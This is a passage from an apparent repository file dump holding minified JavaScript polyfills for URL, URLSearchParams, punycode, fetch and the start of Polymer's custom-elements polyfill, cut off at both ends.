ot:if(\"/\"==a){s=ft;break}s=yt;continue;case it:if(t.scheme=o.scheme,a==r)t.username=o.username,t.password=o.password,t.host=o.host,t.port=o.port,t.path=o.path.slice(),t.query=o.query;else if(\"/\"==a||\"\\\\\"==a&&X(t))s=at;else if(\"?\"==a)t.username=o.username,t.password=o.password,t.host=o.host,t.port=o.port,t.path=o.path.slice(),t.query=\"\",s=mt;else{if(\"#\"!=a){t.username=o.username,t.password=o.password,t.host=o.host,t.port=o.port,t.path=o.path.slice(),t.path.pop(),s=yt;continue}t.username=o.username,t.password=o.password,t.host=o.host,t.port=o.port,t.path=o.path.slice(),t.query=o.query,t.fragment=\"\",s=bt}break;case at:if(!X(t)||\"/\"!=a&&\"\\\\\"!=a){if(\"/\"!=a){t.username=o.username,t.password=o.password,t.host=o.host,t.port=o.port,s=yt;continue}s=ft}else s=ct;break;case ut:if(s=ct,\"/\"!=a||\"/\"!=v.charAt(p+1))continue;p++;break;case ct:if(\"/\"!=a&&\"\\\\\"!=a){s=ft;continue}break;case ft:if(\"@\"==a){g&&(v=\"%40\"+v),g=!0,u=h(v);for(var x=0;x<u.length;x++){var m=u[x];if(\":\"!=m||y){var b=G(m,$);y?t.password+=b:t.username+=b}else y=!0}v=\"\"}else if(a==r||\"/\"==a||\"?\"==a||\"#\"==a||\"\\\\\"==a&&X(t)){if(g&&\"\"==v)return\"Invalid authority\";p-=h(v).length+1,v=\"\",s=st}else v+=a;break;case st:case lt:if(e&&\"file\"==t.scheme){s=gt;continue}if(\":\"!=a||d){if(a==r||\"/\"==a||\"?\"==a||\"#\"==a||\"\\\\\"==a&&X(t)){if(X(t)&&\"\"==v)return\"Invalid host\";if(e&&\"\"==v&&(Y(t)||null!==t.port))return;if(c=F(t,v))return c;if(v=\"\",s=dt,e)return;continue}\"[\"==a?d=!0:\"]\"==a&&(d=!1),v+=a}else{if(\"\"==v)return\"Invalid host\";if(c=F(t,v))return c;if(v=\"\",s=pt,e==lt)return}break;case pt:if(!I.test(a)){if(a==r||\"/\"==a||\"?\"==a||\"#\"==a||\"\\\\\"==a&&X(t)||e){if(\"\"!=v){var S=parseInt(v,10);if(S>65535)return\"Invalid port\";t.port=X(t)&&S===V[t.scheme]?null:S,v=\"\"}if(e)return;s=dt;continue}return\"Invalid port\"}v+=a;break;case ht:if(t.scheme=\"file\",\"/\"==a||\"\\\\\"==a)s=vt;else{if(!o||\"file\"!=o.scheme){s=yt;continue}if(a==r)t.host=o.host,t.path=o.path.slice(),t.query=o.query;else if(\"?\"==a)t.host=o.host,t.path=o.path.slice(),t.query=\"\",s=mt;else{if(\"#\"!=a){H(i.slice(p).join(\"\"))||(t.host=o.host,t.path=o.path.slice(),Q(t)),s=yt;continue}t.host=o.host,t.path=o.path.slice(),t.query=o.query,t.fragment=\"\",s=bt}}break;case vt:if(\"/\"==a||\"\\\\\"==a){s=gt;break}o&&\"file\"==o.scheme&&!H(i.slice(p).join(\"\"))&&(J(o.path[0],!0)?t.path.push(o.path[0]):t.host=o.host),s=yt;continue;case gt:if(a==r||\"/\"==a||\"\\\\\"==a||\"?\"==a||\"#\"==a){if(!e&&J(v))s=yt;else if(\"\"==v){if(t.host=\"\",e)return;s=dt}else{if(c=F(t,v))return c;if(\"localhost\"==t.host&&(t.host=\"\"),e)return;v=\"\",s=dt}continue}v+=a;break;case dt:if(X(t)){if(s=yt,\"/\"!=a&&\"\\\\\"!=a)continue}else if(e||\"?\"!=a)if(e||\"#\"!=a){if(a!=r&&(s=yt,\"/\"!=a))continue}else t.fragment=\"\",s=bt;else t.query=\"\",s=mt;break;case yt:if(a==r||\"/\"==a||\"\\\\\"==a&&X(t)||!e&&(\"?\"==a||\"#\"==a)){if(\"..\"===(f=(f=v).toLowerCase())||\"%2e.\"===f||\".%2e\"===f||\"%2e%2e\"===f?(Q(t),\"/\"==a||\"\\\\\"==a&&X(t)||t.path.push(\"\")):Z(v)?\"/\"==a||\"\\\\\"==a&&X(t)||t.path.push(\"\"):(\"file\"==t.scheme&&!t.path.length&&J(v)&&(t.host&&(t.host=\"\"),v=v.charAt(0)+\":\"),t.path.push(v)),v=\"\",\"file\"==t.scheme&&(a==r||\"?\"==a||\"#\"==a))for(;t.path.length>1&&\"\"===t.path[0];)t.path.shift();\"?\"==a?(t.query=\"\",s=mt):\"#\"==a&&(t.fragment=\"\",s=bt)}else v+=G(a,W);break;case xt:\"?\"==a?(t.query=\"\",s=mt):\"#\"==a?(t.fragment=\"\",s=bt):a!=r&&(t.path[0]+=G(a,q));break;case mt:e||\"#\"!=a?a!=r&&(\"'\"==a&&X(t)?t.query+=\"%27\":t.query+=\"#\"==a?\"%23\":G(a,q)):(t.fragment=\"\",s=bt);break;case bt:a!=r&&(t.fragment+=G(a,B))}p++}},Et=function(t){var n,e,r=s(this,Et,\"URL\"),o=arguments.length>1?arguments[1]:void 0,a=String(t),u=E(r,{type:\"URL\"});if(void 0!==o)if(o instanceof Et)n=w(o);else if(e=St(n={},String(o)))throw TypeError(e);if(e=St(u,a,null,n))throw TypeError(e);var c=u.searchParams=new b,f=S(c);f.updateSearchParams(u.query),f.updateURL=function(){u.query=String(c)||null},i||(r.href=Ot.call(r),r.origin=Rt.call(r),r.protocol=At.call(r),r.username=jt.call(r),r.password=It.call(r),r.host=kt.call(r),r.hostname=Pt.call(r),r.port=Lt.call(r),r.pathname=Tt.call(r),r.search=_t.call(r),r.searchParams=Ut.call(r),r.hash=Nt.call(r))},wt=Et.prototype,Ot=function(){var t=w(this),n=t.scheme,e=t.username,r=t.password,o=t.host,i=t.port,a=t.path,u=t.query,c=t.fragment,f=n+\":\";return null!==o?(f+=\"//\",Y(t)&&(f+=e+(r?\":\"+r:\"\")+\"@\"),f+=D(o),null!==i&&(f+=\":\"+i)):\"file\"==n&&(f+=\"//\"),f+=t.cannotBeABaseURL?a[0]:a.length?\"/\"+a.join(\"/\"):\"\",null!==u&&(f+=\"?\"+u),null!==c&&(f+=\"#\"+c),f},Rt=function(){var t=w(this),n=t.scheme,e=t.port;if(\"blob\"==n)try{return new URL(n.path[0]).origin}catch(t){return\"null\"}return\"file\"!=n&&X(t)?n+\"://\"+D(t.host)+(null!==e?\":\"+e:\"\"):\"null\"},At=function(){return w(this).scheme+\":\"},jt=function(){return w(this).username},It=function(){return w(this).password},kt=function(){var t=w(this),n=t.host,e=t.port;return null===n?\"\":null===e?D(n):D(n)+\":\"+e},Pt=function(){var t=w(this).host;return null===t?\"\":D(t)},Lt=function(){var t=w(this).port;return null===t?\"\":String(t)},Tt=function(){var t=w(this),n=t.path;return t.cannotBeABaseURL?n[0]:n.length?\"/\"+n.join(\"/\"):\"\"},_t=function(){var t=w(this).query;return t?\"?\"+t:\"\"},Ut=function(){return w(this).searchParams},Nt=function(){var t=w(this).fragment;return t?\"#\"+t:\"\"},Ct=function(t,n){return{get:t,set:n,configurable:!0,enumerable:!0}};if(i&&c(wt,{href:Ct(Ot,(function(t){var n=w(this),e=String(t),r=St(n,e);if(r)throw TypeError(r);S(n.searchParams).updateSearchParams(n.query)})),origin:Ct(Rt),protocol:Ct(At,(function(t){var n=w(this);St(n,String(t)+\":\",tt)})),username:Ct(jt,(function(t){var n=w(this),e=h(String(t));if(!K(n)){n.username=\"\";for(var r=0;r<e.length;r++)n.username+=G(e[r],$)}})),password:Ct(It,(function(t){var n=w(this),e=h(String(t));if(!K(n)){n.password=\"\";for(var r=0;r<e.length;r++)n.password+=G(e[r],$)}})),host:Ct(kt,(function(t){var n=w(this);n.cannotBeABaseURL||St(n,String(t),st)})),hostname:Ct(Pt,(function(t){var n=w(this);n.cannotBeABaseURL||St(n,String(t),lt)})),port:Ct(Lt,(function(t){var n=w(this);K(n)||(\"\"==(t=String(t))?n.port=null:St(n,t,pt))})),pathname:Ct(Tt,(function(t){var n=w(this);n.cannotBeABaseURL||(n.path=[],St(n,t+\"\",dt))})),search:Ct(_t,(function(t){var n=w(this);\"\"==(t=String(t))?n.query=null:(\"?\"==t.charAt(0)&&(t=t.slice(1)),n.query=\"\",St(n,t,mt)),S(n.searchParams).updateSearchParams(n.query)})),searchParams:Ct(Ut),hash:Ct(Nt,(function(t){var n=w(this);\"\"!=(t=String(t))?(\"#\"==t.charAt(0)&&(t=t.slice(1)),n.fragment=\"\",St(n,t,bt)):n.fragment=null}))}),f(wt,\"toJSON\",(function(){return Ot.call(this)}),{enumerable:!0}),f(wt,\"toString\",(function(){return Ot.call(this)}),{enumerable:!0}),m){var Ft=m.createObjectURL,Mt=m.revokeObjectURL;Ft&&f(Et,\"createObjectURL\",(function(t){return Ft.apply(m,arguments)})),Mt&&f(Et,\"revokeObjectURL\",(function(t){return Mt.apply(m,arguments)}))}d(Et,\"URL\"),o({global:!0,forced:!a,sham:!i},{URL:Et})},function(t,n,e){var r=e(6),o=e(49),i=e(29),a=o(\"iterator\");t.exports=!r((function(){var t=new URL(\"b?a=1&b=2&c=3\",\"http://a\"),n=t.searchParams,e=\"\";return t.pathname=\"c%20d\",n.forEach((function(t,r){n.delete(\"b\"),e+=r+t})),i&&!t.toJSON||!n.sort||\"http://a/c%20d?a=1&c=3\"!==t.href||\"3\"!==n.get(\"c\")||\"a=1\"!==String(new URLSearchParams(\"?a=1\"))||!n[a]||\"a\"!==new URL(\"https://a@b\").username||\"b\"!==new URLSearchParams(new URLSearchParams(\"a=b\")).get(\"a\")||\"xn--e1aybc\"!==new URL(\"http://тест\").host||\"#%D0%B1\"!==new URL(\"http://a#б\").hash||\"a1c3\"!==e||\"x\"!==new URL(\"http://x\",void 0).host}))},function(t,n,e){var r=/[^\\0-\\u007E]/,o=/[.\\u3002\\uFF0E\\uFF61]/g,i=\"Overflow: input needs wider integers to process\",a=Math.floor,u=String.fromCharCode,c=function(t){return t+22+75*(t<26)},f=function(t,n,e){var r=0;for(t=e?a(t/700):t>>1,t+=a(t/n);t>455;r+=36)t=a(t/35);return a(r+36*t/(t+38))},s=function(t){var n,e,r=[],o=(t=function(t){for(var n=[],e=0,r=t.length;e<r;){var o=t.charCodeAt(e++);if(o>=55296&&o<=56319&&e<r){var i=t.charCodeAt(e++);56320==(64512&i)?n.push(((1023&o)<<10)+(1023&i)+65536):(n.push(o),e--)}else n.push(o)}return n}(t)).length,s=128,l=0,p=72;for(n=0;n<t.length;n++)(e=t[n])<128&&r.push(u(e));var h=r.length,v=h;for(h&&r.push(\"-\");v<o;){var g=2147483647;for(n=0;n<t.length;n++)(e=t[n])>=s&&e<g&&(g=e);var d=v+1;if(g-s>a((2147483647-l)/d))throw RangeError(i);for(l+=(g-s)*d,s=g,n=0;n<t.length;n++){if((e=t[n])<s&&++l>2147483647)throw RangeError(i);if(e==s){for(var y=l,x=36;;x+=36){var m=x<=p?1:x>=p+26?26:x-p;if(y<m)break;var b=y-m,S=36-m;r.push(u(c(m+b%S))),y=a(b/S)}r.push(u(c(y))),p=f(l,d,v==h),l=0,++v}}++l,++s}return r.join(\"\")};t.exports=function(t){var n,e,i=[],a=t.toLowerCase().replace(o,\".\").split(\".\");for(n=0;n<a.length;n++)e=a[n],i.push(r.test(e)?\"xn--\"+s(e):e);return i.join(\".\")}},function(t,n,e){e(89);var r=e(2),o=e(34),i=e(244),a=e(21),u=e(126),c=e(95),f=e(91),s=e(25),l=e(123),p=e(15),h=e(64),v=e(84),g=e(20),d=e(14),y=e(58),x=e(8),m=e(247),b=e(83),S=e(49),E=o(\"fetch\"),w=o(\"Headers\"),O=S(\"iterator\"),R=s.set,A=s.getterFor(\"URLSearchParams\"),j=s.getterFor(\"URLSearchParamsIterator\"),I=/\\+/g,k=Array(4),P=function(t){return k[t-1]||(k[t-1]=RegExp(\"((?:%[\\\\da-f]{2}){\"+t+\"})\",\"gi\"))},L=function(t){try{return decodeURIComponent(t)}catch(n){return t}},T=function(t){var n=t.replace(I,\" \"),e=4;try{return decodeURIComponent(n)}catch(t){for(;e;)n=n.replace(P(e--),L);return n}},_=/[!'()~]|%20/g,U={\"!\":\"%21\",\"'\":\"%27\",\"(\":\"%28\",\")\":\"%29\",\"~\":\"%7E\",\"%20\":\"+\"},N=function(t){return U[t]},C=function(t){return encodeURIComponent(t).replace(_,N)},F=function(t,n){if(n)for(var e,r,o=n.split(\"&\"),i=0;i<o.length;)(e=o[i++]).length&&(r=e.split(\"=\"),t.push({key:T(r.shift()),value:T(r.join(\"=\"))}))},M=function(t){this.entries.length=0,F(this.entries,t)},z=function(t,n){if(t<n)throw TypeError(\"Not enough arguments\")},D=f((function(t,n){R(this,{type:\"URLSearchParamsIterator\",iterator:m(A(t).entries),kind:n})}),\"Iterator\",(function(){var t=j(this),n=t.kind,e=t.iterator.next(),r=e.value;return e.done||(e.value=\"keys\"===n?r.key:\"values\"===n?r.value:[r.key,r.value]),e})),q=function(){l(this,q,\"URLSearchParams\");var t,n,e,r,o,i,a,u,c,f=arguments.length>0?arguments[0]:void 0,s=this,h=[];if(R(s,{type:\"URLSearchParams\",entries:h,updateURL:function(){},updateSearchParams:M}),void 0!==f)if(d(f))if(\"function\"==typeof(t=b(f)))for(e=(n=t.call(f)).next;!(r=e.call(n)).done;){if((a=(i=(o=m(g(r.value))).next).call(o)).done||(u=i.call(o)).done||!i.call(o).done)throw TypeError(\"Expected sequence with length 2\");h.push({key:a.value+\"\",value:u.value+\"\"})}else for(c in f)p(f,c)&&h.push({key:c,value:f[c]+\"\"});else F(h,\"string\"==typeof f?\"?\"===f.charAt(0)?f.slice(1):f:f+\"\")},B=q.prototype;u(B,{append:function(t,n){z(arguments.length,2);var e=A(this);e.entries.push({key:t+\"\",value:n+\"\"}),e.updateURL()},delete:function(t){z(arguments.length,1);for(var n=A(this),e=n.entries,r=t+\"\",o=0;o<e.length;)e[o].key===r?e.splice(o,1):o++;n.updateURL()},get:function(t){z(arguments.length,1);for(var n=A(this).entries,e=t+\"\",r=0;r<n.length;r++)if(n[r].key===e)return n[r].value;return null},getAll:function(t){z(arguments.length,1);for(var n=A(this).entries,e=t+\"\",r=[],o=0;o<n.length;o++)n[o].key===e&&r.push(n[o].value);return r},has:function(t){z(arguments.length,1);for(var n=A(this).entries,e=t+\"\",r=0;r<n.length;)if(n[r++].key===e)return!0;return!1},set:function(t,n){z(arguments.length,1);for(var e,r=A(this),o=r.entries,i=!1,a=t+\"\",u=n+\"\",c=0;c<o.length;c++)(e=o[c]).key===a&&(i?o.splice(c--,1):(i=!0,e.value=u));i||o.push({key:a,value:u}),r.updateURL()},sort:function(){var t,n,e,r=A(this),o=r.entries,i=o.slice();for(o.length=0,e=0;e<i.length;e++){for(t=i[e],n=0;n<e;n++)if(o[n].key>t.key){o.splice(n,0,t);break}n===e&&o.push(t)}r.updateURL()},forEach:function(t){for(var n,e=A(this).entries,r=h(t,arguments.length>1?arguments[1]:void 0,3),o=0;o<e.length;)r((n=e[o++]).value,n.key,this)},keys:function(){return new D(this,\"keys\")},values:function(){return new D(this,\"values\")},entries:function(){return new D(this,\"entries\")}},{enumerable:!0}),a(B,O,B.entries),a(B,\"toString\",(function(){for(var t,n=A(this).entries,e=[],r=0;r<n.length;)t=n[r++],e.push(C(t.key)+\"=\"+C(t.value));return e.join(\"&\")}),{enumerable:!0}),c(q,\"URLSearchParams\"),r({global:!0,forced:!i},{URLSearchParams:q}),i||\"function\"!=typeof E||\"function\"!=typeof w||r({global:!0,enumerable:!0,forced:!0},{fetch:function(t){var n,e,r,o=[t];return arguments.length>1&&(n=arguments[1],d(n)&&(e=n.body,\"URLSearchParams\"===v(e)&&((r=n.headers?new w(n.headers):new w).has(\"content-type\")||r.set(\"content-type\",\"application/x-www-form-urlencoded;charset=UTF-8\"),n=y(n,{body:x(0,String(e)),headers:x(0,r)}))),o.push(n)),E.apply(this,o)}}),t.exports={URLSearchParams:q,getState:A}},function(t,n,e){var r=e(20),o=e(83);t.exports=function(t){var n=o(t);if(\"function\"!=typeof n)throw TypeError(String(t)+\" is not iterable\");return r(n.call(t))}},function(t,n,e){e(2)({target:\"URL\",proto:!0,enumerable:!0},{toJSON:function(){return URL.prototype.toString.call(this)}})}])}();\n\n//!fetch 3.0.0, global \"this\" must be replaced with \"window\"\n// IIFE version\n!function(t){\"use strict\";var e=\"URLSearchParams\"in self,r=\"Symbol\"in self&&\"iterator\"in Symbol,o=\"FileReader\"in self&&\"Blob\"in self&&function(){try{return new Blob,!0}catch(t){return!1}}(),n=\"FormData\"in self,i=\"ArrayBuffer\"in self;if(i)var s=[\"[object Int8Array]\",\"[object Uint8Array]\",\"[object Uint8ClampedArray]\",\"[object Int16Array]\",\"[object Uint16Array]\",\"[object Int32Array]\",\"[object Uint32Array]\",\"[object Float32Array]\",\"[object Float64Array]\"],a=ArrayBuffer.isView||function(t){return t&&s.indexOf(Object.prototype.toString.call(t))>-1};function h(t){if(\"string\"!=typeof t&&(t=String(t)),/[^a-z0-9\\-#$%&'*+.^_`|~]/i.test(t))throw new TypeError(\"Invalid character in header field name\");return t.toLowerCase()}function u(t){return\"string\"!=typeof t&&(t=String(t)),t}function f(t){var e={next:function(){var e=t.shift();return{done:void 0===e,value:e}}};return r&&(e[Symbol.iterator]=function(){return e}),e}function d(t){this.map={},t instanceof d?t.forEach((function(t,e){this.append(e,t)}),this):Array.isArray(t)?t.forEach((function(t){this.append(t[0],t[1])}),this):t&&Object.getOwnPropertyNames(t).forEach((function(e){this.append(e,t[e])}),this)}function c(t){if(t.bodyUsed)return Promise.reject(new TypeError(\"Already read\"));t.bodyUsed=!0}function p(t){return new Promise((function(e,r){t.onload=function(){e(t.result)},t.onerror=function(){r(t.error)}}))}function y(t){var e=new FileReader,r=p(e);return e.readAsArrayBuffer(t),r}function l(t){if(t.slice)return t.slice(0);var e=new Uint8Array(t.byteLength);return e.set(new Uint8Array(t)),e.buffer}function b(){return this.bodyUsed=!1,this._initBody=function(t){var r;this._bodyInit=t,t?\"string\"==typeof t?this._bodyText=t:o&&Blob.prototype.isPrototypeOf(t)?this._bodyBlob=t:n&&FormData.prototype.isPrototypeOf(t)?this._bodyFormData=t:e&&URLSearchParams.prototype.isPrototypeOf(t)?this._bodyText=t.toString():i&&o&&((r=t)&&DataView.prototype.isPrototypeOf(r))?(this._bodyArrayBuffer=l(t.buffer),this._bodyInit=new Blob([this._bodyArrayBuffer])):i&&(ArrayBuffer.prototype.isPrototypeOf(t)||a(t))?this._bodyArrayBuffer=l(t):this._bodyText=t=Object.prototype.toString.call(t):this._bodyText=\"\",this.headers.get(\"content-type\")||(\"string\"==typeof t?this.headers.set(\"content-type\",\"text/plain;charset=UTF-8\"):this._bodyBlob&&this._bodyBlob.type?this.headers.set(\"content-type\",this._bodyBlob.type):e&&URLSearchParams.prototype.isPrototypeOf(t)&&this.headers.set(\"content-type\",\"application/x-www-form-urlencoded;charset=UTF-8\"))},o&&(this.blob=function(){var t=c(this);if(t)return t;if(this._bodyBlob)return Promise.resolve(this._bodyBlob);if(this._bodyArrayBuffer)return Promise.resolve(new Blob([this._bodyArrayBuffer]));if(this._bodyFormData)throw new Error(\"could not read FormData body as blob\");return Promise.resolve(new Blob([this._bodyText]))},this.arrayBuffer=function(){return this._bodyArrayBuffer?c(this)||Promise.resolve(this._bodyArrayBuffer):this.blob().then(y)}),this.text=function(){var t,e,r,o=c(this);if(o)return o;if(this._bodyBlob)return t=this._bodyBlob,e=new FileReader,r=p(e),e.readAsText(t),r;if(this._bodyArrayBuffer)return Promise.resolve(function(t){for(var e=new Uint8Array(t),r=new Array(e.length),o=0;o<e.length;o++)r[o]=String.fromCharCode(e[o]);return r.join(\"\")}(this._bodyArrayBuffer));if(this._bodyFormData)throw new Error(\"could not read FormData body as text\");return Promise.resolve(this._bodyText)},n&&(this.formData=function(){return this.text().then(v)}),this.json=function(){return this.text().then(JSON.parse)},this}d.prototype.append=function(t,e){t=h(t),e=u(e);var r=this.map[t];this.map[t]=r?r+\", \"+e:e},d.prototype.delete=function(t){delete this.map[h(t)]},d.prototype.get=function(t){return t=h(t),this.has(t)?this.map[t]:null},d.prototype.has=function(t){return this.map.hasOwnProperty(h(t))},d.prototype.set=function(t,e){this.map[h(t)]=u(e)},d.prototype.forEach=function(t,e){for(var r in this.map)this.map.hasOwnProperty(r)&&t.call(e,this.map[r],r,this)},d.prototype.keys=function(){var t=[];return this.forEach((function(e,r){t.push(r)})),f(t)},d.prototype.values=function(){var t=[];return this.forEach((function(e){t.push(e)})),f(t)},d.prototype.entries=function(){var t=[];return this.forEach((function(e,r){t.push([r,e])})),f(t)},r&&(d.prototype[Symbol.iterator]=d.prototype.entries);var m=[\"DELETE\",\"GET\",\"HEAD\",\"OPTIONS\",\"POST\",\"PUT\"];function w(t,e){var r,o,n=(e=e||{}).body;if(t instanceof w){if(t.bodyUsed)throw new TypeError(\"Already read\");this.url=t.url,this.credentials=t.credentials,e.headers||(this.headers=new d(t.headers)),this.method=t.method,this.mode=t.mode,this.signal=t.signal,n||null==t._bodyInit||(n=t._bodyInit,t.bodyUsed=!0)}else this.url=String(t);if(this.credentials=e.credentials||this.credentials||\"same-origin\",!e.headers&&this.headers||(this.headers=new d(e.headers)),this.method=(r=e.method||this.method||\"GET\",o=r.toUpperCase(),m.indexOf(o)>-1?o:r),this.mode=e.mode||this.mode||null,this.signal=e.signal||this.signal,this.referrer=null,(\"GET\"===this.method||\"HEAD\"===this.method)&&n)throw new TypeError(\"Body not allowed for GET or HEAD requests\");this._initBody(n)}function v(t){var e=new FormData;return t.trim().split(\"&\").forEach((function(t){if(t){var r=t.split(\"=\"),o=r.shift().replace(/\\+/g,\" \"),n=r.join(\"=\").replace(/\\+/g,\" \");e.append(decodeURIComponent(o),decodeURIComponent(n))}})),e}function E(t,e){e||(e={}),this.type=\"default\",this.status=void 0===e.status?200:e.status,this.ok=this.status>=200&&this.status<300,this.statusText=\"statusText\"in e?e.statusText:\"OK\",this.headers=new d(e.headers),this.url=e.url||\"\",this._initBody(t)}w.prototype.clone=function(){return new w(this,{body:this._bodyInit})},b.call(w.prototype),b.call(E.prototype),E.prototype.clone=function(){return new E(this._bodyInit,{status:this.status,statusText:this.statusText,headers:new d(this.headers),url:this.url})},E.error=function(){var t=new E(null,{status:0,statusText:\"\"});return t.type=\"error\",t};var A=[301,302,303,307,308];E.redirect=function(t,e){if(-1===A.indexOf(e))throw new RangeError(\"Invalid status code\");return new E(null,{status:e,headers:{location:t}})},t.DOMException=self.DOMException;try{new t.DOMException}catch(e){t.DOMException=function(t,e){this.message=t,this.name=e;var r=Error(t);this.stack=r.stack},t.DOMException.prototype=Object.create(Error.prototype),t.DOMException.prototype.constructor=t.DOMException}function _(e,r){return new Promise((function(n,i){var s=new w(e,r);if(s.signal&&s.signal.aborted)return i(new t.DOMException(\"Aborted\",\"AbortError\"));var a=new XMLHttpRequest;function h(){a.abort()}a.onload=function(){var t,e,r={status:a.status,statusText:a.statusText,headers:(t=a.getAllResponseHeaders()||\"\",e=new d,t.replace(/\\r?\\n[\\t ]+/g,\" \").split(/\\r?\\n/).forEach((function(t){var r=t.split(\":\"),o=r.shift().trim();if(o){var n=r.join(\":\").trim();e.append(o,n)}})),e)};r.url=\"responseURL\"in a?a.responseURL:r.headers.get(\"X-Request-URL\");var o=\"response\"in a?a.response:a.responseText;n(new E(o,r))},a.onerror=function(){i(new TypeError(\"Network request failed\"))},a.ontimeout=function(){i(new TypeError(\"Network request failed\"))},a.onabort=function(){i(new t.DOMException(\"Aborted\",\"AbortError\"))},a.open(s.method,s.url,!0),\"include\"===s.credentials?a.withCredentials=!0:\"omit\"===s.credentials&&(a.withCredentials=!1),\"responseType\"in a&&o&&(a.responseType=\"blob\"),s.headers.forEach((function(t,e){a.setRequestHeader(e,t)})),s.signal&&(s.signal.addEventListener(\"abort\",h),a.onreadystatechange=function(){4===a.readyState&&s.signal.removeEventListener(\"abort\",h)}),a.send(void 0===s._bodyInit?null:s._bodyInit)}))}_.polyfill=!0,self.fetch||(self.fetch=_,self.Headers=d,self.Request=w,self.Response=E),t.Headers=d,t.Request=w,t.Response=E,t.fetch=_}({});\n"
  },
  {
    "path": "src/client/polyfills/dom.js",
    "content": "(function(){\n  /*\n    Copyright (c) 2016 The Polymer Project Authors. All rights reserved.\n    This code may only be used under the BSD style license found at http://polymer.github.io/LICENSE.txt\n    The complete set of authors may be found at http://polymer.github.io/AUTHORS.txt\n    The complete set of contributors may be found at http://polymer.github.io/CONTRIBUTORS.txt\n    Code distributed by Google as part of the polymer project is also\n    subject to an additional IP rights grant found at http://polymer.github.io/PATENTS.txt\n  */\n  'use strict';var aa=new Set(\"annotation-xml color-profile font-face font-face-src font-face-uri font-face-format font-face-name missing-glyph\".split(\" \"));function g(a){var b=aa.has(a);a=/^[a-z][.0-9_a-z]*-[\\-.0-9_a-z]*$/.test(a);return!b&&a}function l(a){var b=a.isConnected;if(void 0!==b)return b;for(;a&&!(a.__CE_isImportDocument||a instanceof Document);)a=a.parentNode||(window.ShadowRoot&&a instanceof ShadowRoot?a.host:void 0);return!(!a||!(a.__CE_isImportDocument||a instanceof Document))}\n  function n(a,b){for(;b&&b!==a&&!b.nextSibling;)b=b.parentNode;return b&&b!==a?b.nextSibling:null}\n  function p(a,b,d){d=void 0===d?new Set:d;for(var c=a;c;){if(c.nodeType===Node.ELEMENT_NODE){var e=c;b(e);var f=e.localName;if(\"link\"===f&&\"import\"===e.getAttribute(\"rel\")){c=e.import;if(c instanceof Node&&!d.has(c))for(d.add(c),c=c.firstChild;c;c=c.nextSibling)p(c,b,d);c=n(a,e);continue}else if(\"template\"===f){c=n(a,e);continue}if(e=e.__CE_shadowRoot)for(e=e.firstChild;e;e=e.nextSibling)p(e,b,d)}c=c.firstChild?c.firstChild:n(a,c)}}function r(a,b,d){a[b]=d};function u(){this.a=new Map;this.g=new Map;this.c=[];this.f=[];this.b=!1}function ba(a,b,d){a.a.set(b,d);a.g.set(d.constructorFunction,d)}function ca(a,b){a.b=!0;a.c.push(b)}function da(a,b){a.b=!0;a.f.push(b)}function v(a,b){a.b&&p(b,function(b){return w(a,b)})}function w(a,b){if(a.b&&!b.__CE_patched){b.__CE_patched=!0;for(var d=0;d<a.c.length;d++)a.c[d](b);for(d=0;d<a.f.length;d++)a.f[d](b)}}\n  function x(a,b){var d=[];p(b,function(b){return d.push(b)});for(b=0;b<d.length;b++){var c=d[b];1===c.__CE_state?a.connectedCallback(c):y(a,c)}}function z(a,b){var d=[];p(b,function(b){return d.push(b)});for(b=0;b<d.length;b++){var c=d[b];1===c.__CE_state&&a.disconnectedCallback(c)}}\n  function A(a,b,d){d=void 0===d?{}:d;var c=d.u||new Set,e=d.i||function(b){return y(a,b)},f=[];p(b,function(b){if(\"link\"===b.localName&&\"import\"===b.getAttribute(\"rel\")){var d=b.import;d instanceof Node&&(d.__CE_isImportDocument=!0,d.__CE_hasRegistry=!0);d&&\"complete\"===d.readyState?d.__CE_documentLoadHandled=!0:b.addEventListener(\"load\",function(){var d=b.import;if(!d.__CE_documentLoadHandled){d.__CE_documentLoadHandled=!0;var f=new Set(c);f.delete(d);A(a,d,{u:f,i:e})}})}else f.push(b)},c);if(a.b)for(b=\n  0;b<f.length;b++)w(a,f[b]);for(b=0;b<f.length;b++)e(f[b])}\n  function y(a,b){if(void 0===b.__CE_state){var d=b.ownerDocument;if(d.defaultView||d.__CE_isImportDocument&&d.__CE_hasRegistry)if(d=a.a.get(b.localName)){d.constructionStack.push(b);var c=d.constructorFunction;try{try{if(new c!==b)throw Error(\"The custom element constructor did not produce the element being upgraded.\");}finally{d.constructionStack.pop()}}catch(t){throw b.__CE_state=2,t;}b.__CE_state=1;b.__CE_definition=d;if(d.attributeChangedCallback)for(d=d.observedAttributes,c=0;c<d.length;c++){var e=\n  d[c],f=b.getAttribute(e);null!==f&&a.attributeChangedCallback(b,e,null,f,null)}l(b)&&a.connectedCallback(b)}}}u.prototype.connectedCallback=function(a){var b=a.__CE_definition;b.connectedCallback&&b.connectedCallback.call(a)};u.prototype.disconnectedCallback=function(a){var b=a.__CE_definition;b.disconnectedCallback&&b.disconnectedCallback.call(a)};\n  u.prototype.attributeChangedCallback=function(a,b,d,c,e){var f=a.__CE_definition;f.attributeChangedCallback&&-1<f.observedAttributes.indexOf(b)&&f.attributeChangedCallback.call(a,b,d,c,e)};function B(a){var b=document;this.c=a;this.a=b;this.b=void 0;A(this.c,this.a);\"loading\"===this.a.readyState&&(this.b=new MutationObserver(this.f.bind(this)),this.b.observe(this.a,{childList:!0,subtree:!0}))}function C(a){a.b&&a.b.disconnect()}B.prototype.f=function(a){var b=this.a.readyState;\"interactive\"!==b&&\"complete\"!==b||C(this);for(b=0;b<a.length;b++)for(var d=a[b].addedNodes,c=0;c<d.length;c++)A(this.c,d[c])};function ea(){var a=this;this.b=this.a=void 0;this.c=new Promise(function(b){a.b=b;a.a&&b(a.a)})}function D(a){if(a.a)throw Error(\"Already resolved.\");a.a=void 0;a.b&&a.b(void 0)};function E(a){this.c=!1;this.a=a;this.j=new Map;this.f=function(b){return b()};this.b=!1;this.g=[];this.o=new B(a)}\n  E.prototype.l=function(a,b){var d=this;if(!(b instanceof Function))throw new TypeError(\"Custom element constructors must be functions.\");if(!g(a))throw new SyntaxError(\"The element name '\"+a+\"' is not valid.\");if(this.a.a.get(a))throw Error(\"A custom element with name '\"+a+\"' has already been defined.\");if(this.c)throw Error(\"A custom element is already being defined.\");this.c=!0;try{var c=function(b){var a=e[b];if(void 0!==a&&!(a instanceof Function))throw Error(\"The '\"+b+\"' callback must be a function.\");\n  return a},e=b.prototype;if(!(e instanceof Object))throw new TypeError(\"The custom element constructor's prototype is not an object.\");var f=c(\"connectedCallback\");var t=c(\"disconnectedCallback\");var k=c(\"adoptedCallback\");var h=c(\"attributeChangedCallback\");var 